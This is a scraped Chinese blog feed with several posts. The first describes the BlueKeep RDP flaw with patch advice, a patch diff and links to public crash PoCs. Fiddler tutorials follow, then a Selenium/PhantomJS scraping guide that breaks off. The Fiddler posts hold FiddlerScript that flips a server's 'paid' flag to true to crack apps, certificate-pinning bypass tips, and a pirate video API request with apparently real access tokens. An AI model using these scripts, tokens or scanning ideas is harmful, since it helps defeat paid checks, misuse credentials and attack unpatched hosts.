    微软公司于2019年5月14日发布重要安全公告,其操作系统远程桌面(Remote Desktop Services),俗称的3389服务存在严重安全漏洞(编号CVE-2019-0708):攻击者在没有任何授权的情况下,可以远程直接攻击操作系统开放的3389服务,在受害主机上执行恶意攻击行为,包括安装后门,查看、篡改隐私数据,创建拥有完全用户权限的新账户,影响范围从Windows XP到Windows 2008 R2。由于3389服务应用广泛且该漏洞利用条件低,只要服务端口开放即可,导致该漏洞影响和危害程序堪比“WannaCry”。因此,微软额外为Windows XP、Windows 2003这些已经停止支持的系统发布了该漏洞的安全补丁。

    2. 漏洞概要

    *QQ截图20190605101736.jpg**

    3. 预防与修复建议:

    1. 升级微软官方补丁:

    Windos XP、Windows 2003等老旧系统需手动下载补丁:https://support.microsoft.com/en-ca/help/4500705/customer-guidance-for-cve-2019-0708;

    Windows 7、Windows 2008系统自动升级即可,手动升级可到如下链接下载补丁:https://www.catalog.update.microsoft.com/Search.aspx?q=KB4499175;

    1. 如非必要,请关闭远程桌面服务;

    4. 打补丁前后比较:

    通过分析打补丁前后差异在于 termdd.sys 文件的 IcaBindVirtualChannels 及 IcaReBindVirtualChannels ,增加了对 MS_T120 协议通道的判定,如果是通道协议名为 MS_T120 ,则设定 IcaBindChannel 的第三个参数为 31 。

    2.jpg

    服务端在初始化时,会创建名为MS_T120、 Index 为 31 的通道,在收到 MCS Connect Initial 数据封包后进行通道创建和绑定操作,在 IcaBindVirtualChannels 函数中进行绑定时, IcaFindChannelByName 函数只根据通道名进行通道查找。当通道名为 MS_T120 (不区分大小写)时,会找到系统内部通道 MS_T120 的通道并与之绑定,绑定后,通道索引会即被更改为新的通道索引。

    5. 漏洞复现和POC验证:

    验证环境和脚本
    Windows7(靶机)(VM下NAT模式或桥接模式)
    kali Linux(验证机)
    Python3需要安装POC依赖 OpenSSL,impacket.structure
    Poc(验证脚本-蓝屏)https://github.com/1amfine2333/CVE-2019-0708
    Poc(未验证)https://github.com/Ekultek/BlueKeep
    Poc(基于poc正在开发exp的项目)https://github.com/algo7/bluekeep_CVE-2019-0708_poc_to_exploit
    5.1 已经开启远程连接,且网络设置正确:

    5.2 验证机中克隆POC,开始验证:

    5.3 靶机windows7 蓝屏重启:

    6.总结与延伸:

    可供验证的POC有很多,仅仅作为漏洞复现,采用了最直观的一种,整理的比较简略,后续可结合shodan,zoomeye等api,编程对具有潜在漏洞特征的目标,实现自动化信息采集和检测。

    ]]>
    - - - -
    - - - - - 【Fiddler为所欲为第四篇】直播源抓取与接口分析 - - /Coderzgh.github.io/2019/06/02/fiddler-four/ - -
  • 今天的教程,主要是教大家如何进行“封包逆向”,关键词跳转,接口分析。(怎么样,是不是感觉和OD很像~~~)
    今天的教程我们以【麻花影视】为例,当然,其他APP的逻辑也是一样,通用的哦~
    首先需要做好准备工作:(所有APP的抓包都会用到以下工具,就不要再说抓不到证书的包啦。)
    1、安卓模拟器,并进行root。(推荐使用MUMU模拟器),当然,安卓手机肯定没有问题。
    2、安装XP框架(用模拟器可以自适应),链接:https://pan.baidu.com/s/1YfLpVQb1QophNO38alNdug 提取码:5m98
    3、安装https HOST(基于XP框架),链接:https://pan.baidu.com/s/1PFidSyoAtHynxNPF4t-voA 提取码:0f2d
    以上的准备工作必须要做,不然很多包是抓不到的!!!
    FD的wifi代{过}{滤}理教程就不说啦,网上很多,我这里直接开始演示哦~
    第一步:
    首先,我们打开咪咕视频,找到想要抓的节目,并观察FD里面是否有数据。【我这里就以【CCTV1】为例】。
    img

    img
    若发现FD有数据,既表示正确,既可开始下一步。
    第二步:
    正常打开CCTV1,然后看FD里面的数据。
    img

    img
    第三步:
    过滤封包,将所有封包进行数据化。
    img
    第四步:
    进行关键字查询,和OD的PUSH大法差不多,直播源的关键词是【m3u8】。首先我们需要查询咪咕视频的节目源是否是m3u8格式,因此搜索:m3u8,若出现黄色表示该请求含有m3u8.因此,我们需要看看这个封包。
    img
    第五步:
    封包分析,通常非常多数据的则是ison,所以我们点击json。
    img
    通过Json,很明显,可以看得出来,这个play.miguvideo.com这个域名,返回了一个m3u8的地址。
    url=http://gslbmgsplive.miguvideo.com/wd_r2/cctv/cctv1/600/index.m3u8?msisdn=10b1efdfd58919f4ccf07b3987d39131&mdspid=&spid=699004&netType=4&sid=2200291011&pid=2028597139×tamp=20190212113218&Channel_ID=25000502-99000-200300080100005&ParentNodeID=-99&assertID=2200291011&client_ip=125.123.158.154&SecurityKey=20190212113218&imei=008796753773920&promotionId=&mvid=&mcid=&mpid=&encrypt=4b4a040bf73d40d80a8974fdc095d593
    可以看出,这个m3u8,包含了很多参数,比如我们的IP信息。
    img
    第六部:
    用VCL等播放工具,试试看能不能播放。若可以播放,则证明我们的播放地址是对的。因此,play.miguvideo.com则是播放地址的接口。
    img
    第七部:抓任意频道的接口。
    我们用在FD命令下输入:bpater play.miguvideo.com
    img
    然后回车。
    img
    第八部:
    点击任意频道,就可以自动下断点得到播放地址了。而且非常明显!
    img

  • ]]>
    - - - - - fiddler - - - - - - - fiddler - - - -
    - - - - - 【Fiddler为所欲为第三篇】封包逆向必备知识 - - /Coderzgh.github.io/2019/06/02/fiddler-three/ - -
  • 小A同学:会抓包有什么好学习的,不就用一个工具设置个wifi代{过}{滤}理就OK了嘛,还不是很多做不了。不如学习安卓逆向。
    didi科学家:不好意思,抓包可以为所欲为。

    其实学习抓包,完完全全和OD是一模一样的逻辑,尤其是封包逆向。使用OD需要知道jmp等指令是什么意思,而抓包也是一样的逻辑!

    一、封包字段的含义

    img

    如图所示,Fiddler的整个界面就是这样,那么这些字段究竟是什么意思呢?这里给大家说一下:

    Result:HTTP状态码      

    Protocol:请求使用的协议,如HTTP/HTTPS/FTP等

    HOST:请求地址的主机名或域名

    URL:请求资源的位置

    Body:请求大小

    Caching:请求的缓存过期时间或者缓存控制值

    Content-Type:请求响应的类型

    Process:发送此请求的进程ID

    Comments:备注

    Custom:自定义值

    二、Request区域

    Request区域如图所示:

    img

    那么每一个数据都是什么意思呢?

    请求方式:GET/POST等

    协议: HTTP/1.1(通常都是这个)

    \1. Cache 头域

      if-Modified-since:缓存

      if-None-Match:可提高性能(在Response中添加ETag信息,客户端再次请求资源,Request中加入if-None-Match(ETag的值),服务器验证ETag,若没改变返回状态码304,有改变,返回状态码200)

      Pragma:防止页面被缓存

      Cache-Control:Response—Request遵循的缓存机制

      public:可以被任何缓存所缓存

      private:内容只缓存在私有缓存中

      no-cache:所有内容都不会被缓存

    \2. Client 头域

      User-Agent: 告知服务器客户端使用的操作系统与浏览器的名称和版本

      Accept: 浏览器端可以接受的媒体、文件类型

      Accept-Encoding: 指定压缩方法,是否支持压缩,支持什么压缩方法(gzip、deflate)

      Accept-Language: 浏览器申明自己的接收语言

      Accept-chareset:浏览器申明自己接收的字符集。如gb2312,UTF_8

    \3. Cookies 头域

      有的请求不发送Cookies,有的请求有Cookies。

      目的:将cookie值发送给服务器

    \4. Entity头域

      Content-Length:发送给HTTP服务器的数据长度

      Content-Type:决定文件接收方将以什么形式、什么编码读取此文件

    \5. Security 头域:

      Upgrade-Insecure-Requests: 1(默认,这个是自己协商的)

    \6. Transport 头域:

      Host: 发送请求时,该报头域是必需的。主要用于指定被请求资源的Internet主机和端口号,通常从HTTP URL 中提取出来

      Proxy-Connection: 当网页打开完成后,客户端和服务器之间用于传输HTTP数据的TCP连接是否关闭。keep-alive表示不会关闭,客户端再次访问这个服务器上的网页,会继续使用这一条已经建立的连接;close表示关闭,客户端再次访问这个服务器上的网页,需要重新建立连接。

      connection:Keep—alive TCP连接不会关闭

      connection:close 一个Request完成后,TCP连接关闭

    \7. Miscellaneous头域

      Referer:提供了Request的上下文信息,告诉服务器我是从哪个链接过来的

      A——>B(B的服务器从Referer中统计有多少用户是从A过来的)

    三、Response

    Response如图所示:

    img

    \1. Cache头域

      Date:生成消息的具体时间和日期

      Expires:浏览器在指定过期时间内使用本地缓存

    \2. Cookie/Login头域

      P3P:用户跨域设置cookie,可以解决iframe跨域访问cookie的问题

      Set-Cookie:重要的header,用于把cookie发送到客户端浏览器,每一个写入cookie都会生成一个set-cookie

    \3. Entity头域

      ETag:与if-None-Match配合使用

      Last-Modified:用于指示资源的最后修改日期和时间

      Content-Type:Web服务器告知浏览器自己响应对象的类型和字符集

      Content-Length:指明实体正文长度,以字节方式存储的十进制数字表示。在数据下行中,要预先在服务器中缓存所有数据,然后所有数据一并发给客户端

      Content-Encoding:Web服务器表明自己用了什么压缩方式(gzip、deflate)压缩响应中的对象

      Content-Language:服务器告知浏览器自己响应的对象语言

    \4. Miscellaneous头域

      Server:指明HTTP服务器的软件信息

      X-Powered-By:表明网站是用什么技术开发的

      X-AspNet-Version:如果网站是用Asp/Net开发的,这个header用来表明Asp/Net的版本

    \5. Transport头域

      connection:Keep—alive TCP连接不会关闭

      connection:close 一个Request完成后,TCP连接关闭

    \6. Location头域

      Location:用于重定向一个新的位置,包括新的URL地址

    四、HTTP认证过程

      1. 客户端发送HTTP Request给服务器;

      2. Request中未包含Authorization header,服务器会返回一个401错误给客户端,且在Response中的header“www-Authenticate”中添加信息;

      3. 客户端将用户名和密码以base64加密后,放在Authorization中发送给服务器,认证成功;

      4. 服务器将Authorization header中的用户名和密码去除,进行验证。如果验证通过,将根据请求发送资源给客户端;

      HTTP OAuth认证:OAuth对于http来说,就是放在Authorization header中的不是用户名密码,而是一个token(令牌)。

      客户端的使用:客户端若要跟“使用基本认证的网站”进行交互,将用户名密码加载Authorization header中即可。

    五、Fiddler常见图标的含义

    img

  • ]]>
    - - - - - fiddler - - - - - - - fiddler - - - -
    - - - - - 使用fiddler对手机上的程序进行抓包 - - /Coderzgh.github.io/2019/06/02/fiddler/ - -
  • 用fiddler对手机上的程序进行抓包,网上有很多的资料,这里写一下来进行备用。

  • 前提:

    1.必须确保安装fiddler的电脑和手机在同一个wifi环境下

    备注:如果电脑用的是台式机,可以安装一个随身wifi,来确保台式机和手机在同一wifi环境下

    2.可以使用电脑安卓模拟器

    安装配置步骤:

    1.下载一个fiddler,网上随便下一个就可以了
    2.配置fiddler

    Tools->Fiddler Options->Connections

    img

    说明:1.Fiddler listens on port是手机连接fiddler时的代理端口号,默认8888即可

    ​ 2.Allow remote computers to connect是允许远程发送请求,需要勾上

    Tools->Fiddler Options->HTTPS

    img

    说明:勾上Decrypt HTTPS traffic,会抓到手机的https请求,如果想抓到https请求还需要在手机安装证书,下面会介绍

    【fiddler设置后一定要把fiddler重启一下才会生效】

    3.手机上的配置

    3.1需要安装fiddler证书

    使用手机浏览器访问http://【电脑IP地址】:【fiddler设置的端口号】,既可以下载fiddler的证书并安装

    【查看电脑IP的方法,直接在cmd下ipconfig,或者鼠标滑过fiddler的online也可以看到IP地址】

    img

    以上面看到的我的IP地址为例,手机只要访问http://10.252.167.91:8888即可下载安装fiddler证书

    3.2手机设置wifi的代理

    连接与电脑相同的wifi,修改wifi的网络,手动设置代理,代理服务器主机名为电脑的IP地址,代理端口为在fiddler里设置的端口号,保存后,fiddler将能够收到手机上的请求信息

    img

    以上就是配置方法,其他的就可以直接用了,比如在fiddler里进行一下请求的过滤,只看某个服务器下的请求,配置后要点一下Actions来保存过滤

    img

    在测试中可能会有测试环境,测试环境有的公司时域名相同,但是hosts不同,通过不同的服务器IP地址指向来确定是什么环境。在PC测试上可以非常方便的更改本机hosts指向来切换测试环境和线上环境,在手机上更改hosts比较麻烦。这时候就可以利用fiddler来连接手机,更改电脑的hosts,来实现手机连接测试环境的操作。

    注意:

    1.手机配置了代理,fiddler必须启动,手机才可以上网,如果fiddler关闭后手机是不可以联网了,需要将代理去掉才可以进行联网。

    2.fiddler启东时,会默认将Internet的代理更改为127.0.0.1,在正常退出fiddler时代理会恢复为原来的代理。但是如果遇到fiddler不正常退出(比如进程直接杀掉),会导致代理没有恢复的情况,这是需要手动修改Internet的代理(恢复为原来的代理或者取消代理)

    设置Internet代理的方法如下:

    img

    ]]>
    - - - - - fiddler - - - - - - - fiddler - - - -
    - - - - - Fiddler大解析!抱歉,抓包抓得好真的可以为所欲为 - - /Coderzgh.github.io/2019/06/02/fiddler-one/ - - 说起抓包,很多人以为就是用个工具,简简单单地抓一下就可以了。

    在这里,我必须发一个教程,解析一下抓包神器——Fiddler。

    Fiddler仅仅是一个抓包工具?不好意思,Fiddler用得好,真的可以为所欲为。

    Fiddler的作者

    • Fiddler 的作者是 Eric Lawrence 是个大师级的人物, 目前在微软总部西雅图工作。 他的博客是: http://www.ericlawrence.com/Eric/
    • 博客中能看到他的简历,以及一些生活照.

    Fiddler的介绍

    • Fiddler是强大的抓包工具,它的原理是以web代{过}{滤}理服务器的形式进行工作的,使用的代{过}{滤}理地址是:127.0.0.1,端口默认为8888,我们也可以通过设置进行修改。
    • 代{过}{滤}理就是在客户端和服务器之间设置一道关卡,客户端先将请求数据发送出去后,代{过}{滤}理服务器会将数据包进行拦截,代{过}{滤}理服务器再冒充客户端发送数据到服务器;同理,服务器将响应数据返回,代{过}{滤}理服务器也会将数据拦截,再返回给客户端。
    • Fiddler可以抓取支持http代{过}{滤}理的任意程序的数据包,如果要抓取https会话,要先安装证书。

    这两点,希望大家牢记。接下来,给大家介绍Fiddler超级强大的地方之一——Fiddler Script.

    论坛有很多Fiddler的使用教程,这里就不多说了。但是,却没有一个人说到最强大的脚本功能!

    Fiddler 包含了一个脚本文件可以自动修改Http Request 和Response.这样我们就不需要手动地下”断点”去修改了,实际上它是一个脚本文件CustomRules.js
    位于: C:\Documents and Settings[your user]\My Documents\Fiddler2\Scripts\CustomRules.js 下,你也可以在Fiddler 中打开CustomRules.js 文件, 启动Fiddler, 点击菜单Rules->Customize Rules…
    Fiddler Script 的官方帮助文档必须认真阅读, 地址是:http://www.fiddler2.com/Fiddler/dev/ScriptSamples.asp

    小常识:Fiddler Script 是用JScript.NET语言写的

    那么Fiddler Script到底有什么用?我这里来列举一些大家肯定遇到过的问题:

    场景1:一个付费验证,是否付费会返回一个json。里面有一个时间戳和一个false。如果时间戳和客户端不一致,则为破解失败。

    那么你一定会这么想,有没有一个功能,可以只替换json里面部分参数,然后返回给客户端,而不是全部写死呢?于是,我们需要使用到script了!代码如下:如一个json是这个内容,baidu.com,返回了一个【name:吾爱破解,付费:false】

    if (oSession.fullUrl.Contains(“http://www.baidu.com"))
    {

              // 获取Response Body、Request Body中JSON字符串,转换为可编辑的JSONObject变量          var responseStringOriginal =  oSession.GetResponseBodyAsString();          var responseJSON = Fiddler.WebFormats.JSON.JsonDecode(responseStringOriginal);          var requestStringOriginal=oSession.GetRequestBodyAsString();          var requestJSON = Fiddler.WebFormats.JSON.JsonDecode(requestStringOriginal);          ){ //请求参数中,若type为1,对返回值做如下修改              responseJSON.JSONObject['付费'] = "true";              // 重新设置Response Body              var responseStringDestinal = Fiddler.WebFormats.JSON.JsonEncode(responseJSON.JSONObject);              oSession.utilSetResponseBody(responseStringDestinal);          }      }

    }

    通过以上代码,即可每次在baidu返回数据时,自动将付费改为true,从而达到了破解的效果。

    场景2:我想要修改request的Body里面的部分参数,每次下完断点,修改完再提交,总会网络超时或者APP超时。这该怎么办?难道只能靠手速?

    ​ if(oSession.uriContains(“http://www.baidu.com"))
    ​ {
    ​ var strBody=oSession.GetRequestBodyAsString();// 获取Request 中的body字符串
    ​ strBody=strBody.replace(“false”,”true”);// 用正则表达式或者replace方法去修改string,将false改为true
    ​ FiddlerObject.alert(strBody);// 弹个对话框检查下修改后的body
    ​ oSession.utilSetRequestBody(strBody);// 将修改后的body,重新写回Request中
    ​ }

    场景3:我想要修改cookie,改成一个付费过的cookie,但是需要实时生成,不能靠手速。这该怎么办?

    if (oSession.HostnameIs(‘www.baidu.com') && oSession.uriContains(‘pagewithCookie’) && oSession.oRequest.headers.Contains(“Cookie”))
    {
    var sCookie = oSession.oRequest[“Cookie”];
    // 用replace方法或者正则表达式的方法去操作cookie的string
    sCookie = sCookie.Replace(“付费=false”, “付费=true”);
    oSession.oRequest[“Cookie”] = sCookie;

    场景4:我想要知道他到底有没有请求具体哪个网址,用查找速度太慢了。过滤也很慢。

    if (oSession.HostnameIs(“www.baidu.com")) {
    oSession[“ui-color”] = “red”;
    }

    场景5:我想要自动保存某个接口的数据到本地,怎么才能实现?

    if (oSession.fullUrl.Contains(“www.baidu.com/playurl/v1/") ){
    oSession.utilDecodeResponse();//消除保存的请求可能存在乱码的情况
    var fso;
    var file;
    fso = new ActiveXObject(“Scripting.FileSystemObject”);
    //文件保存路径,可自定义
    file = fso.OpenTextFile(“D:\Sessions.txt”,8 ,true, true);
    //file.writeLine(“Response code: “ + oSession.responseCode);
    file.writeLine(“Response body: “ + oSession.GetResponseBodyAsString());
    file.writeLine(“\n”);
    file.close();
    }

    ——————————————————————————————————————————————————————————————————————

    以上就是Fiddler script经常使用到的功能,免费奉献给大家。直接复制即可使用。

    Fiddler的脚本介绍到这里,那么,说到底Fiddler还是只能抓包啊,即使基于xpoesd能抓到https的包,还是发现有很多包抓不到啊!!!等等,本文还没完呢!

    接下来的内容,公布过后,会涉及到技术滥用,因此,仅公布原理。

    首先来讲https,也就是安卓APP证书这一款,目前论坛上已经有不少的朋友发了相关的一些程序,大家可以去下载。

    如:

    https://www.52pojie.cn/thread-854170-1-1.html

    但是,我个人比较倾向于just trust me这个插件,这是最全能的。just trust me是hook了安卓框架验证机制,更加棒~

    ————————————————————————————————————————————————————————

    首先,大家抓包会遇到一个问题,为什么即使绕过了APP证书验证,为什么还是抓不到包!难道不是http协议?

    其实并不是,APP大多数还是走的http协议,那为什么抓不到优酷的视频?抓不到关键的访问——原因在于此,代{过}{滤}理!

    目前有非常多的APP,都为了防止被抓包,不仅仅是只用了https这么简单。而使用fiddler抓不到包,本质原因在于wifi代{过}{滤}理!很多APP会检测你是否用了wifi代{过}{滤}理,如果设置了,则APP无法正常使用。这样就会从根本上杜绝被抓包

    那么,我们要怎么做才能防止这种情况的发生呢?

    比较笨的一种办法依旧是使用xposed上的just trust me,依旧hook相关函数,即可破解该策略。

    —————————————————————————————————————————————————————————

    等等,我发现用了trust me过后,还是抓不到包,这到底是怎么回事!!!

    非常简单,他们就是利用了本地服务器中转,这样的话Fiddler是抓不了包的。比如著名APP:麻花影视、电视家

    那么,有没有办法能抓到这种操作的包呢?当然是有的。

    这边只能透露几点,不能正大光明地公布,否则大量非法分子就可以破解非常多的APP了。

    提示:Fiddler的本质其实就是代{过}{滤}理服务器,那么,如果是代{过}{滤}理服务器,所有的请求是不是都会走这台服务器呢?那是肯定的。

    ——————————————————————————————————————————————————————————

    最后,抓包除了破解APP以外,还有什么用?

    第一:抓接口,可以将所有的视频点播类APP都抓下来!

    如麻花视频:

    ————————

    GET http://api.acgplusplus.com/api/a … &time=1547183436020 HTTP/1.1

    Content-Type: application/json

    Accept: application/json

    accessToken: 936b8872c4f81b6537eaa80f4e2e78c7807cebbcb02548d8d4da1e55c61c6509

    X-Client-NonceStr: FbWu9jFnpG

    X-Client-IP: 127.0.0.1

    X-Client-TimeStamp: 1543592259810

    X-Client-Version: 1.1.1

    X-Client-Sign: 61274de99728b3981041d657bec4528b416658cd651110f9cf950dd3fbc0b15f

    X-Auth-Token: mb_token:25361603:1211f5511483be1def9af655c10ede12

    X-Client-Token:

    Host: api.acgplusplus.com

    Connection: Keep-Alive

    User-Agent: okhttp/3.10.0

    Accept-Encoding: identity

    ——————————————————————————————————

    这个接口大家可以用用,永不失效的接口!返回出来的地址就是这样。(大家可以直接用,哈哈,本来麻花视频也是盗版的)

    再比如优酷的播放接口:

    GET https://ups.youku.com/ups/get.json?ckey=不公布,免得被盗用
    User-Agent: Youku;7.5.0;Android;6.0.1;MuMu
    Host: ups.youku.com
    Connection: Keep-Alive
    Accept-Encoding: gzip, deflate

    这些接口,全都是永久有效的!

    拥有抓包技术,你就可以自己制作任何的视频APP,调用第三方的接口即可!!!

    另外楼主尝试过支付宝等相关APP,依旧能抓到部分的包。

    ####

    ]]>
    - - - - - fiddler - - - - - - - fiddler - - - -
    - - - - - 【Fiddler为所欲为第二篇】像OD一样调试 - - /Coderzgh.github.io/2019/06/02/fiddler-two/ - -
  • 导语:
    其实Fiddler隐藏的功能太多太多,其调试功能也是异常强大,可以说是抓包界的“OllyDbg”并不为过。接下来,教大家如何使用Fiddler进行调试、解析,甚至封包“逆向”!

  • 一、像OD一样定制菜单

       1.1定制rule菜单的子菜单

    ​ // 定义名为52pj的子菜单
    ​ RulesString(“&52pj”, true);
    ​ // 生成52pj子菜单的radio选项
    ​ RulesStringValue(0,”安卓8.0”, “52pj&狂暴补师亚丝娜&k=52pj”)
    ​ RulesStringValue(1,”安卓9.0”, “52pj&610100&k=52pj”)
    ​ RulesStringValue(2,”安卓10.0”, “52pj&didi科学家&k=52pj”)
    ​ RulesStringValue(3,”安卓11.0”, “52pj&CrazyNut&k=52pj”)
    ​ RulesStringValue(4,”&Custom…”, “%CUSTOM%”)
    ​ public static var s52pj: String = null;

    }

    还需要在OnBeforeRequest函数中加入:

    if (null != s52pj) {
    oSession.oRequest[“52pj”] = s52pj;

     ![img](https://attach.52pojie.cn/forum/201901/25/122553e3cqsscluu81cd8q.png)     

    效果图:
    img

    1.2定制tool菜单的子菜单

    public static ToolsAction(“我是子菜单”)
    function DoManualYules(){

    //子菜单的功能
    FiddlerObject.alert(“我是子菜单”); // 根据需要定制
    }

     ![img](https://attach.52pojie.cn/forum/201901/25/122803pn9gan9rnfvgcf1n.png)     

    1.3定制右键菜单

    public static ContextAction(“我是右键菜单”)
    function DoOpenInIE(oSessions: Fiddler.Session[]){
    FiddlerObject.alert(“我是右键菜单”); // 根据需要定制
    }

    右键菜单不好截图,就不截图啦~~~~
    子菜单和右键菜单自己新建一个类就OK了。

    二、限速
    fiddler提供了一个功能,让我们模拟低速网路环境。启用方法如下:Rules → Performances → Simulate Modem Speeds。勾选之后,你会发现你的网路瞬间慢下来了很多。至于慢下来后网络速度是多少,则由CustomRules.js 中如下程序控制的:

    var m_SimulateModem: boolean = true;

    if (m_SimulateModem) {
    // 500毫秒/KB(上传)
    oSession[“request-trickle-delay”] = “500”;
    // 150毫秒/KB(下载)
    oSession[“response-trickle-delay”] = “150”;
    }

    三、AutoResponder (自动替换功能)
    方法是点下Fiddler 右上的AutoResponder ,勾选Enable automatic responses 和Unmatched requests passthrough ,按下右边的Add ;

    再将下方的Rule Editor 第一行修改为线上档案位址(线上档案位址也可以使用Regular Expression ,开头加上regex: 即可。)

    按下Rule Editor 第二行右边的箭头,选择Find a file … ;选择要替换成的本机端档案,按下右边的SAVE ,大功告成!

    img

    将线上档案替换成另一个线上档案,步骤几乎一模一样,差别仅在Rule Editor 第二行填入的是另一线上档案位址:

    img

    更多AutoResponder的说明请参考Fiddler官方文件- AutoResponder Reference 。

    (PS:AutoResponder 这个网上有比较多的教程,我直接复制的了。)

    四:命令调试(和OD的命令调试操作基本相同)

    4.1替换 Request Host。

    关键函数:urlreplace

    比如:urlreplace www.baidu.com www.360.com

    按下Enter ,所有原先发到百度的HTTP Request 就转发到360 了。

     ![img](https://attach.52pojie.cn/forum/201901/25/123822ksgz891tprtwb5t4.png)     

    要清除转发,请在同一位置输入:

    urlreplace

    另外script也可以做到:

    if ( oSession . HostnameIs ( ‘www.baidu.com' ) )
    oSession . hostname = ‘www.360.com' ;

    4.2 下断点(和OD、VS调试一样的哦)

    命令介绍:
    bpu在请求开始时中断,
    bpafter在响应到达时中断,
    bps在特定http状态码时中断,
    bpv/bpm在特定请求method时中断。

    如:

    bpu www.baidu.com/52pj/狂暴补师亚丝娜

    这样既可在访问这个网址的时候自动下断点哦。

    4.3Fiddler其他内置命令(4.3为转载)

    • secret

    选择所有相应类型(指content-type)为指定类型的HTTP请求,如选择图片,使用命令select image.而select css则可以选择所有相应类型为css的请求,select html则选择所有响应为HTML的请求(怎么样,是不是跟SQL语句很像?)。

    • allbut

    allbut命令用于选择所有响应类型不是给定类型的HTTP请求。如allbut image用于选择所有相应类型不是图片的session(HTTP请求),该命令还有一个别名keeponly.需要注意的是,keeponly和allbut命令是将不是该类型的session删除,留下的都是该类型的响应。因此,如果你执行allbut xxxx(不存在的类型),实际上类似与执行cls命令(删除所有的session, ctrl+x快捷键也是这个作用)

    • ?text

    选择所有 URL 匹配问号后的字符的全部 session

    • >size 和 <size命令

    选择响应大小大于某个大小(单位是b)或者小于某个大小的所有HTTP请求

    • =status命令

    选择响应状态等于给定状态的所有HTTP请求。

    例如,选择所有状态为200的HTTP请求:=200

    • @host命令

    选择包含指定 HOST 的全部 HTTP请求。例如:@csdn.net

    五、“逆向”

    这里只能简单提及一下,当你发现下断点的网址过后,可以使用ctrl+F的方式,就行搜索该网址,既可看是什么接口返回的该地址,也就是简单的逆向!

    最后:

    熟练掌握Fiddler,能够破解爱奇艺、优酷等永久不失效的接口,也可薅羊毛(饿了么等),具体就要看大家的掌握程度了!破解游戏啥的就不说了。

    ]]>
    - - - - - fiddler - - - - - - - fiddler - - - -
    - - - - - Python网络爬虫实战之七:动态网页爬取案例实战 Selenium + PhantomJS - - /Coderzgh.github.io/2019/05/19/python-crawler-static-sample-7/ - -
  • 正文:

    一、Selenium

    1、Selenium是什么

    Selenium 是什么?一句话,自动化测试工具。它支持各种浏览器,包括 Chrome,Safari,Firefox 等主流界面式浏览器,如果你在这些浏览器里面安装一个 Selenium 的插件,那么便可以方便地实现Web界面的测试。换句话说叫 Selenium 支持这些浏览器驱动。

    2、安装Selenium

    • 方法一:pip install selenium
    • 方法二:下载源码后解压,进入解压后的目录,执行 python setup.py install

    3、安装浏览器驱动

    使用谷歌浏览器,则下载chromedriver.exe,下载成功后,把chromedriver.exe复制到Python安装路径下的Scripts目录中

    使用其他浏览器方法类似

    4、快速体验Selenium

    使用pyhon打开浏览器,并自动访问百度首页

    from selenium import webdriverbrowser = webdriver.Chrome()browser.get('http://www.baidu.com/')

    打开浏览器,并自动在百度中搜索“Python”关键词

    from selenium import webdriverfrom selenium.webdriver.common.keys import Keysbrowser = webdriver.Chrome()browser.get('https://www.baidu.com')input = browser.find_element_by_id('kw')input.send_keys('Python')input.send_keys(Keys.ENTER)

    5、爬取网页代码:自动在百度中搜索“Python”关键词后的网页

    from selenium import webdriverfrom selenium.webdriver.common.by import Byfrom selenium.webdriver.common.keys import Keysfrom selenium.webdriver.support import expected_conditions as ECfrom selenium.webdriver.support.wait import WebDriverWaitbrowser = webdriver.Chrome()try:    browser.get('https://www.baidu.com')    input = browser.find_element_by_id('kw')    input.send_keys('Python')    input.send_keys(Keys.ENTER)    wait = WebDriverWait(browser, 10)    wait.until(EC.presence_of_element_located((By.ID, 'content_left')))    print(browser.current_url)    print(browser.get_cookies())    print(browser.page_source)finally:    browser.close()

    Selenium的更详细资料可参考Selenium with Python中文翻译文档

    二、PhantomJS

    1、PhantomJs是什么?

    PhantomJs是什么?是一个基于Webkit的”无界面”(headless)浏览器,它会把网站加载到内存并执行页面上的JavaScript,因为不会展示图形界面,所以运行起来比完整的浏览器更高效。

    爬取动态网页的时候,通常是PhantomJS 用来渲染解析JS,Selenium 用来驱动以及与 Python 的对接,Python 进行后期的处理,完美的三剑客!

    2、安装PhantomJS

    PhantomJS官方下载地址
    下载成功后,解压得到phantomjs-2.1.1-windows文件夹,bin目录下的phantomjs.exe文件才是我们真正需要的,example目录下的文件时官方示例代码。

    可以通过设置环境变量来使用PhantomJS,也可以通过指定路径来操作。设置环境变量的方法式把phantomjs-2.1.1-windows的bin配置到path中,比如我的路径是D:\python\PythonLibs\phantomjs-2.1.1-windows\bin

    通过输出PhantomJS来检验PhantomJS是否可用:

    • 如果配置了系统环境变量,在cmd控制台直接输入:phantomjs -v
    • 如果没有配置系统全局变量,则进入到phantomjs.exe文件的所在目录,比如:D:\Python\PythonLibs\phantomjs-2.1.1-windows\bin,然后再执行 phantomjs -v

    3、快速体验PhantomJS

    使用方法:进入phantomjs.exe所在目录,然后执行 phantomjs 文件绝对路径

    执行官方示例中的hello.js文件(假设没有配置系统全局变量)

    D:\DataguruPyhton>cd D:\python\PythonLibs\phantomjs-2.1.1-windows\binD:\Python\PythonLibs\phantomjs-2.1.1-windows\bin>phantomjs D:\python\PythonLibs\phantomjs-2.1.1-windows\examples\hello.js运行结果是:Hello, world!

    其中hello.js中的代码是:

    "use strict";console.log('Hello, world!');phantom.exit();

    执行官方示例中的version.js文件(假设没有配置系统全局变量)

    D:\Python\PythonLibs\phantomjs-2.1.1-windows\bin>phantomjs D:\python\PythonLibs\phantomjs-2.1.1-windows\examples\version.js运行结果是:using PhantomJS version 2.1.1

    其中version.js中的代码是:

    "use strict";console.log('using PhantomJS version ' +  phantom.version.major + '.' +  phantom.version.minor + '.' +  phantom.version.patch);phantom.exit();

    PhantomJS更详细资料可参考PhantomJS官方文档

    三、Selenium+PhantomJS结合使用

    Selenium + PhantomJS 实例一

    from selenium import webdriver# 调用键盘按键操作需要引入keys包from selenium.webdriver.common.keys import Keys# 调用指定的PhantomJS浏览器创建浏览器对象(没有在环境变量中指定PhantomJS位置)driver = webdriver.PhantomJS(executable_path=r'D:\python\PythonLibs\phantomjs-2.1.1-windows\bin\phantomjs')# 调用环境变量指定的PhantomJS浏览器创建浏览器对象(如果已经在环境变量中指定了PhantomJS位置)# driver = webdriver.PhantomJS()driver.set_window_size(1366, 768)# get方法会一直等到页面加载,然后才会继续程序,通常测试会在这里选择time.sleep(2)driver.get("http://www.baidu.com/")# 获取页面名为wraper的id标签的文本内容data = driver.find_element_by_id('wrapper').text# 打印数据内容print(data)# 把百度设为主页关于百度About  Baidu百度推广# ©2018 Baidu 使用百度前必读 意见反馈 京ICP证030173号  京公网安备11000002000001号print(driver.title)  # result: 百度一下,你就知道# 生成页面快照并保存driver.save_screenshot(r'D:\DataguruPyhton\PythonSpider\images\baidu.png')# 